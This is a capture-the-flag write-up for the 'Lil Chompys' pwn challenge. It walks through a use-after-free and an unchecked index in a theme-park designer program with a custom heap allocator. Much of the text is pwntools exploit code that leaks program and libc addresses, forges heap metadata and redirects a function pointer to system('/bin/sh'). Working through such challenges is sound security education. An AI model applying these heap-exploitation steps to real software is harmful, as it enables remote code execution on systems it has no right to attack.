Overview
Featuring custom heap management, this Pwn challenge lets us embark on a quest to hack into a CLI theme park designer to free the alligator Lil Chompys from the clutches of BSides Orlando. We are given the binary together with its c source code, containing the application as well as a custom heap implementation.
A theme park planner
First off, the program presents us with a password check. Looking at the source code reveals...
int main(void) {
printf("Official BSides Orlando Theme Park Designer Terminal\n");
printf("Enter password:\n");
[...]
if(strcmp(password, "lilChompy2020!") != 0) {
exit(-1);
}
Well, this was uneventful. We now know the password, lilChompy2020!.
After entering the correct password, the program allows us to save up to 20 attractions, each having a type (integer between 0 and 8) and a name with up to 50 characters. Attractions and names are stored on the heap:
Attraction* attractions[20];
[...]
typedef struct Attraction {
FunKind /*= int*/ kind;
char* name;
} Attraction;
[...]
void addAttraction(void) {
[...]
Attraction* fun = cg_malloc(sizeof(*fun));
[...]
char* funName = cg_malloc(size);
[...]
fun->name = funName;
attractions[funIndex] = fun;
}
While looking for potential vulnerabilities, one function immediately stands out:
void renameAttraction() {
printf("Enter the lot number of the amusement to rename:\n");
unsigned lot = pickLot();
Attraction* fun = attractions[lot];
[...]
cg_free(fun->name);
printf("Enter a new name for this attraction:\n");
unsigned size;
char* newName = getLine(&size);
if(*newName == '\0') {
printf("Attraction name must not be empty!\n");
return;
}
char* funName = cg_malloc(size);
memcpy(funName, newName, size);
fun->name = funName;
}
The name is freed immediately. If we then enter an empty string as the new name, the function returns and that reference is kept.
To The Heap
Fortunately, the file heap_internal.h contains some high-level explanations of how the heap works. Key points for now: when a new block is requested, the system tries to find the smallest free space to accommodate it. At the start, memory regions are allocated consecutively.
When an attraction is created, the data on the heap looks as follows:
Data is managed in chunks of 16 bytes each. Each allocation included a 16 byte block for metadata, followed by the actual contents. When we try to rename an attraction with an empty string, the memory management forgets about the name block.
The heap management prevents double-frees, but we can create a new attraction:
Now, we can modify the name of the first attraction. If the new name does not fill more blocks than the old one, doing so will free the second block, immediately re-allocate it and copy the new name over. Thankfully, null bytes are not appended.
This basically gives us complete control over the Attraction struct of the second attraction.
Leaking Things
How can this be used to leak useful information? Overwriting the name pointer does not really make sense: fully overwriting it is not possible useful of address randomization, and partially overwriting it does not allow us to break out of the heap.
Thankfully, overwriting the kind can trigger another vulnerability:
static const char* funToString[] = {
"empty lot",
"roller coaster",
"water ride",
"carnival ride",
"skill game",
"arcade game",
"live show",
"haunted house",
"alligator pit",
};
void viewPark(void) {
[...]
char* name = attractions[i]->name;
char* kindString = funToString[attractions[i]->kind];
printf("Lot #%u: %s (%s)\n", i + 1, name, kindString);
[...]
}
This function does not check any bounds on kind! This allows us to fill the kindString address with pretty much any other quadword from the application's address space. Analyzing a memory dump from gdb reveals that there exists a pointer pointing at itself at an offset of -11 * 8 bytes from funToString.
Putting this together gives us a way to leak the program's address space:
#!/usr/bin/env python3
from pwn import *
p = remote("chal.2020.sunshinectf.org", 20003)
p.sendline('lilChompy2020!') # password
p.sendline(b'2') # create attraction (=> #1) ...
p.sendline(b'3') # ... of type 3
p.sendline(b'AAAA') # ... with name "AAAA"
p.sendline(b'4') # rename ...
p.sendline(b'1') # ... attraction #1
p.sendline(b'') # ... to ""
p.sendline(b'2') # create attraction (=> #2) ...
p.sendline(b'3') # ... of type 3
p.sendline(b'AAAA') # ... with name "AAAA"
# calculate offset_index_to_add
gdb_self_pointer = 0x555555558008
gdb_address_space = 0x555555554000
gdb_fun_to_string = 0x555555558060
offset_index_to_add = (gdb_self_pointer - gdb_fun_to_string) // 8
# => offset_index_to_add == -11
p.sendline(b'4') # rename ...
p.sendline(b'1') # ... attraction #1
p.sendline(p32(offset_index_to_add, sign=True)) # ... and overwrite the kind of #2
p.sendline(b'1') # print park
p.recvuntil(b'Lot #2: AAAA (')
line = p.recvline()[:-2] # delete \n and closing brace
while len(line) < 8:
line = line + b'\0'
address = u64(line)
program_address_space = address - (gdb_self_pointer - gdb_address_space)
print(hex(address))
print(hex(program_address_space))
Leaking the address of libc can now be done by overwriting Attraction::name with a GOT address:
# continuing
gdb_puts_got = 0x555555557f88
leaked_puts_got = program_address_space + (gdb_puts_got - gdb_address_space)
p.sendline(b'4') # rename ...
p.sendline(b'1') # ... attraction #1
p.sendline(
p32(0x1) + # ... overwrite kind of #2 with 1
p32(0x0) + # ... padding
p64(leaked_puts_got) # ... overwrite the name pointer of #2
)
p.sendline(b'1') # print park
p.recvuntil(b'Lot #2: ')
line = p.recvline().split(b' (roller coaster)')[0]
while len(line) < 8:
line = line + b'\0'
address = u64(line)
libc = ELF('libc-2.23.so')
libc_address_space = address - libc.symbols['puts']
print(hex(address))
print(hex(libc_address_space))
Pwning Things
It stands to reason that we can somehow abuse the bugs to write to arbitrary memory. Thankfully the program already provides a nice sink for this:
static OnSubmitFunc* submitFuncs[] = {
&onSubmitRollerCoaster,
&onSubmitWaterRide,
&onSubmitCarnivalRide,
&onSubmitSkillGame,
&onSubmitArcadeGame,
&onSubmitLiveShow,
&onSubmitHauntedHouse,
&onSubmitAlligatorPit,
};
[...]
void submitPark(void) {
printf("The theme park design has been submitted! Let's take a look at the expected park experience.\n");
unsigned i;
for(i = 0; i < ARRAYCOUNT(attractions); i++) {
if(attractions[i] != NULL) {
FunKind kind = attractions[i]->kind;
if(FUN_MIN <= kind && kind <= FUN_MAX) {
submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);
}
}
}
printf("Let's hope this one's a winner! We'll begin construction soon!\n");
exit(0);
}
If we can manipulate the function pointers in submitFuncs, calling submitPark will execute an arbitrary function via submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);, and even use the user-provided name as an argument.
One trick to do this: manipulate the name pointer of an attraction (as we have done before), and then rename that attraction to free the pointer. This will call cg_free(...) with arbitrary input.
To build the actual exploit, we need to consider how the heap management works internally. There are actually two data structures: the blocks of meta-information store the size of the previous and current block, which is used to form a linked list. Furthermore, the blocks of metadata contain two pointers each, used to make up the free tree, a binary tree for free blocks sorted by the size.
More concretely, each 16 byte metadata block includes:
- A
44bit encoded pointer to the left child in the free tree (if the block is currently free) 1unused bit19bits containing the size of the previous block, used for the linked list- A
44bit encoded pointer to the right child in the free tree (if the block is currently free) 1bit indicating whether the block is in use19bits ocntaining the size of the next block, used for the linked list
Freeing a block adds it to the free tree and makes it available for future allocations. This means we could write to submitFuncs by creating a fake metadata block before it, free that, and let the heap management allocate memory from there.
The memory around submitFuncs looks like this:
0x4020: char[50] main::password <-- password from the beginning
0x4060: char*[9] funToString <-- should be preserved somewhat
0x40c0: void*[8] submitFuncs <-- target to over
0x4120: char[50] getLine::line <-- buffer for user input
And here we are, back at the pesky password from the start.
Replace this:
p.sendline('lilChompy2020!') # password
... by ...
# encodes an 8 byte block of metadata, setting:
# - the 44 bit pointer equal to 0
# - the 1 bit equal to in_use_bit
# - the 19 size bits (measured in 16 byte blocks) to size
def encode_8byte_metadata(in_use_bit, size):
value = 0x7ffff
if in_use_bit:
value += 0x80000
value -= size
return value
p.sendline(
b'lilChompy2020!\0\0' + # password
p64(encode_8byte_metadata(False, 0x7fffe)) + # first 8 bytes
p64(encode_8byte_metadata(True, 14)) # last 8 bytes
)
We need to be careful with the metadata, since cg_free() will also try to consolidate free blocks with neighbors from the linked list.
Looking at the implementation, one can see that this process can be stopped by setting the size to an absurdl number (e.g. 0x7fffe), which is done here for the size of the previous block. Unfortunately, this does not work for the "next" block, since such a high value here would disrupt the free tree and cause a segfault as soon as memory is allocated.
One way to get past this is creating a successor metadata block and storing it in the getLine::line buffer.
# explained later
for i in range(5):
p.sendline(b'2') # create attraction (=> #1) ...
p.sendline(b'3') # ... of type 3
p.sendline(b'dummy') # ... with name "dummy"
gdb_password = 0x555555558020
leaked_password = gdb_password - gdb_address_space + program_address_space
leaked_password_meta = leaked_password + 0x20 # the 16 byte block after the metadata in the passwor
p.sendline(b'4') # rename ...
p.sendline(b'1') # ... attraction #1
p.sendline( # ... and set metadata for #2 to:
p32(3) + # attraction type 3
p32(0) + # padding
p64(leaked_password_meta) # pointer to just after the fake metadata block
)
The new name for attraction 1 serves two purposes: the p64 contains a reference to the fake block to be freed. And, by a fortunate coincidence, when the name is interpreted as a metadata block, that address sets the used bit to 1 (at least 50% of the time). The fake metadata block actually points at this new name as a successor block, and the used bit ensures that the consolidation procedure stops here.
Now we need to demolish attraction 2:
p.sendline(b'3') # demolish ...
p.sendline(b'2') # ... attraction 2
This frees our fake block and lets the heap management allocate memory from the program's address space.
Now we need to create new attractions to add padding data and overwrite the correct function pointer with one to system(). This was done by trial and error, and the dummy attractions from before enable a useful trick: by freeing only the names from those structures, we can create some free space for the the Attraction structs. This reduces the amount of metadata written to the program's address space and makes it easier to preserve useful data and prevent segfaults.
p.sendline(b'4') # rename ...
p.sendline(b'4') # ... attraction 4
p.sendline(b'')
p.sendline(b'2') # create attraction
p.sendline(b'3')
p.sendline(b'B'*24)
p.sendline(b'4') # rename ...
p.sendline(b'5') # ... attraction 4
p.sendline(b'')
p.sendline(b'2') # create attraction
p.sendline(b'3')
p.sendline(b'B'*8 + p64(leaked_password) + b'B'*24) # let funToString[3] point to a valid address
p.sendline(b'2') # create attraction
p.sendline(b'3')
# let submitFuncs[2] (used for attractions of type 3) point to libc system()
p.sendline(b'B'*32 + p64(libc_address_space + libc.symbols['system']))
And now, just rename the first attraction to /bin/sh, and submit the park. This will execute system("/bin/sh"):
p.sendline(b'4') # rename ...
p.sendline(b'1') # ... attraction 1
p.sendline(b'/bin/sh\0')
p.sendline(b'5') # submit park
sleep(1)
p.sendline(b'cat flag.txt')
p.interactive()
For the full exploit, see here.